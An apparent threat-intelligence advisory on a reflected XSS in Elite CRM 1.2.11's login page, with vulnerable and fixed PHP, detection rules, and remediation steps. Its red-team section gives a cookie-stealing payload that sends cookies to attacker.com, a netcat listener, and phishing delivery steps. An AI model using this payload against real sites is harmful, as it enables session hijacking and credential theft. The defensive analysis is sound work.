CVE-2022-40361

Executive Summary

CVE-2022-40361 is a Cross-Site Scripting (XSS) vulnerability identified in Elite CRM version 1.2.11. The flaw resides in the /ngs/login endpoint, where the language parameter is not properly sanitized, allowing an attacker to inject arbitrary JavaScript code. This can lead to session hijacking, credential theft, or defacement. No official patch has been released, and the CVSS score is currently unassigned (0.0). The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the vulnerability is publicly known.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a custom web application (Elite CRM) and does not involve a managed package ecosystem.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, which is likely a placeholder or unassigned. Based on the description, a reasonable CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): Required (R) – victim must click a crafted link
• Scope (S): Changed (C) – injected script can affect other resources
• Confidentiality (C): Low (L)
• Integrity (I): Low (L)
• Availability (A): None (N)

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. No patch exists, so all instances of Elite CRM 1.2.11 are at risk.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the login page of Elite CRM. The language parameter is passed directly into the HTML response without proper encoding or sanitization. An attacker can craft a URL like:

https://target.com/ngs/login?language=en"><script>alert('XSS')</script>

When a victim visits this URL, the injected script executes in the context of the victim's browser. This can be used to steal session cookies, redirect to phishing pages, or perform actions on behalf of the victim.

The root cause is the lack of output encoding for user-supplied input in the language parameter. The application likely uses the parameter to set a language preference but fails to escape it before rendering.

Vulnerable vs. Patched Code

Vulnerable Code (Elite CRM 1.2.11):

// Vulnerable: directly echoes user input
$lang = $_GET['language'];
echo "<input type='hidden' name='language' value='$lang'>";

Patched Code (Hypothetical):

// Patched: use htmlspecialchars to escape
$lang = htmlspecialchars($_GET['language'], ENT_QUOTES, 'UTF-8');
echo "<input type='hidden' name='language' value='$lang'>";

No official patch is available. The vendor has not released an update.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy Elite CRM 1.2.11 in a Docker container or local VM.
2. Access the login page at http://localhost/ngs/login.

Exploit Payload:

<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Crafted URL:

http://localhost/ngs/login?language=en"><script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>

Steps:

1. Host a listener on attacker machine: nc -lvnp 80
2. Send the crafted URL to the victim (e.g., via email or phishing).
3. When the victim clicks, their session cookie is sent to the attacker.

Blue Team (Defensive)

Detection:

• Monitor web logs for suspicious language parameter values containing <script> or onerror etc.
• Use WAF rules to block XSS patterns in query strings.

Mitigation:

• Apply input validation: allow only known language codes (e.g., en, fr, de).
• Use Content Security Policy (CSP) headers to restrict script execution.
• Implement output encoding for all user-supplied data.

Indicators of Compromise (IOCs)

• URL Pattern: /ngs/login?language=* with suspicious characters like <, >, ", ', script.
• Network Traffic: HTTP requests to /ngs/login with language parameter containing encoded or raw JavaScript.
• Log Entries: Web server logs showing language parameter with XSS payloads.
• Cookie Theft: Outbound connections to attacker-controlled domains with cookie data in the URL.

Detection Engineering

YARA Rule

rule CVE_2022_40361_XSS {
    meta:
        description = "Detects XSS attempts targeting Elite CRM language parameter"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2022-40361"
    strings:
        $xss1 = /language=[^&]*<script/i
        $xss2 = /language=[^&]*onerror/i
        $xss3 = /language=[^&]*alert/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2022-40361 XSS Attempt in Elite CRM
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects XSS payloads in the language parameter of Elite CRM login page
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-query|contains: 
            - "language="
        cs-uri-query|re: 
            - "<script"
            - "onerror"
            - "alert("
    condition: selection
falsepositives:
    - Legitimate use of script in parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2022-40361 XSS in Elite CRM language parameter"; flow:to_server,established; content:"/ngs/login"; http_uri; content:"language="; http_uri; pcre:"/language=[^&]*(<script|onerror|alert)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Apply input validation to the language parameter – allow only alphanumeric characters and hyphens (e.g., en-US).
2. Short-term: Implement output encoding using htmlspecialchars() or equivalent in the application code.
3. Long-term: Upgrade to a patched version if the vendor releases one. If not, consider replacing Elite CRM with a supported alternative.
4. Compensating Controls: Deploy a Web Application Firewall (WAF) with rules to block XSS patterns. Use Content Security Policy (CSP) headers to restrict inline scripts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert